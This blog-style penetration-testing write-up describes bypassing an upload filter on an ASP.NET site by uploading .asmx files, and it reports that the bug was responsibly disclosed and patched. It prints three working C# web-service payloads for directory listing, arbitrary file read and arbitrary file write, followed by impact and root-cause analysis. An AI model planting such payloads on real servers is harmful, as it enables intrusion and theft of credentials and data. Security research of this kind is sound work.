The Discovery: A Forgotten Upload Endpoint

During a recent Vulnerability Assessment and Penetration Testing (VAPT) engagement, I identified an unusual endpoint: /uploadimage. At first glance, it appeared to be a leftover testing or legacy feature. However, the endpoint was live, functional, and—most importantly—allowed file uploads while returning a direct, publicly accessible URL for each uploaded file.

This immediately raised red flags.

The First Roadblock: Upload Restrictions in Place

As expected, I began by testing common server-side payloads such as .php, .aspx, and .jsp. All attempts were blocked. The responses strongly suggested the presence of a Web Application Firewall (WAF) or basic upload filtering mechanism.

While this might discourage casual testing, it rarely tells the full story.

Instead of stopping there, I expanded fuzzing to include less commonly filtered extensions — specifically those used by the underlying ASP.NET stack.

That's when two extensions quietly slipped through:

  • .asmx — ASP.NET Web Services
  • .ashx — ASP.NET Generic Handlers

Both uploaded successfully.

The Turning Point: Abusing ASMX as an Execution Vector

Accessing the uploaded .asmx file did not trigger a WAF-style block. Instead, it produced a different type of error—more consistent with server-side execution or runtime issues. The .ashx file uploaded cleanly but did not immediately expose functionality.

This behavior hinted at something critical:

The server was likely configured to compile and execute ASP.NET web services directly from the upload directory.

To validate this, I crafted multiple .asmx web service payloads using C#. Some were blocked during upload or execution, but through iterative testing and refinement, execution was eventually confirmed.

At that moment, it became clear that the application was running a SOAP-based framework that blindly trusted uploaded .asmx files—an extremely dangerous misconfiguration.

Proof of Exploitation: What I Was Able to Do

Using custom-built .asmx web services, I demonstrated the following capabilities.

1. Directory Listing & Enumeration

<%@ WebService Language="C#" Class="Explorer" %>
using System.Web.Services;
using System.IO;

public class Explorer : WebService {
    [WebMethod]
    public string List(string path) {
        try {
            if (Directory.Exists(path)) {
                string result = "FILES:\n" + string.Join("\n", Directory.GetFiles(path)) + 
                               "\nDIRS:\n" + string.Join("\n", Directory.GetDirectories(path));
                return result;
            }
            return "Directory not found: " + path;
        } catch { return "Access denied"; }
    }
    
    [WebMethod]
    public string Check(string path) {
        return File.Exists(path) ? "File exists" : 
               Directory.Exists(path) ? "Directory exists" : "Not found";
    }
}

2. Arbitrary File Read

<%@ WebService Language="C#" Class="Reader" %>
using System.Web.Services;
using System.IO;

public class Reader : WebService {
    [WebMethod]
    public string Read(string path) {
        try {
            if (File.Exists(path)) {
                using (StreamReader sr = new StreamReader(path)) {
                    return sr.ReadToEnd();
                }
            }
            return "File not found";
        } catch {
            return "Cannot read file";
        }
    }
    
    [WebMethod]
    public string Info() {
        return System.Environment.UserName + " | " + System.Environment.MachineName;
    }
}

3. Write Permission Verification

<%@ WebService Language="C#" Class="WriteTest" %>
using System.Web.Services;
using System.IO;

public class WriteTest : WebService {
    [WebMethod]
    public string TestWrite() {
        try {
            string testFile = "test_write.txt";
            File.WriteAllText(testFile, "Write test successful - " + System.DateTime.Now);
            return "Write access: YES - File created: " + testFile;
        } catch {
            return "Write access: NO - Cannot create files";
        }
    }
    
    [WebMethod]
    public string TestWritePath(string path) {
        try {
            File.WriteAllText(path, "Write test successful - " + System.DateTime.Now);
            return "Write access to " + path + ": YES";
        } catch (System.Exception ex) {
            return "Write access to " + path + ": NO - " + ex.Message;
        }
    }
}

Impact Assessment: What This Exposed

Through these uploaded web services, I was able to confirm access to:

  • Full directory traversal across accessible drives
  • Sensitive configuration files (including web.config)
  • Database credentials stored in plaintext
  • Server and environment details (machine name, service accounts)
  • Backup files containing sensitive data
  • Write permissions in multiple server directories

In practical terms, this amounted to remote code execution and full application compromise.

None
None
None
None

Root Cause Analysis: Why This Vulnerability Existed

This was not a single bug — it was a vulnerability chain:

  1. Unrestricted File Upload — The endpoint accepted dangerous file types
  2. Incomplete Server-Side Validation — Filters focused only on common extensions
  3. Unsafe Execution Configuration — Uploaded .asmx files were compiled and executed
  4. Excessive Privileges — Application pool identity had unnecessary read/write access

Each layer failed independently, resulting in a critical breach.

Final Thoughts

This engagement reinforced a hard truth:

Security is only as strong as the most neglected endpoint.

While front-end controls blocked obvious threats, deeper server-side protections failed silently. A single overlooked upload feature was enough to escalate into full system compromise.

This vulnerability was responsibly disclosed and has since been patched. Always follow ethical guidelines and responsible disclosure practices when conducting security research.

#Cybersecurity #VAPT #WebSecurity #FileUpload #ASPNET #PenetrationTesting #EthicalHacking #InfoSec #SecurityResearch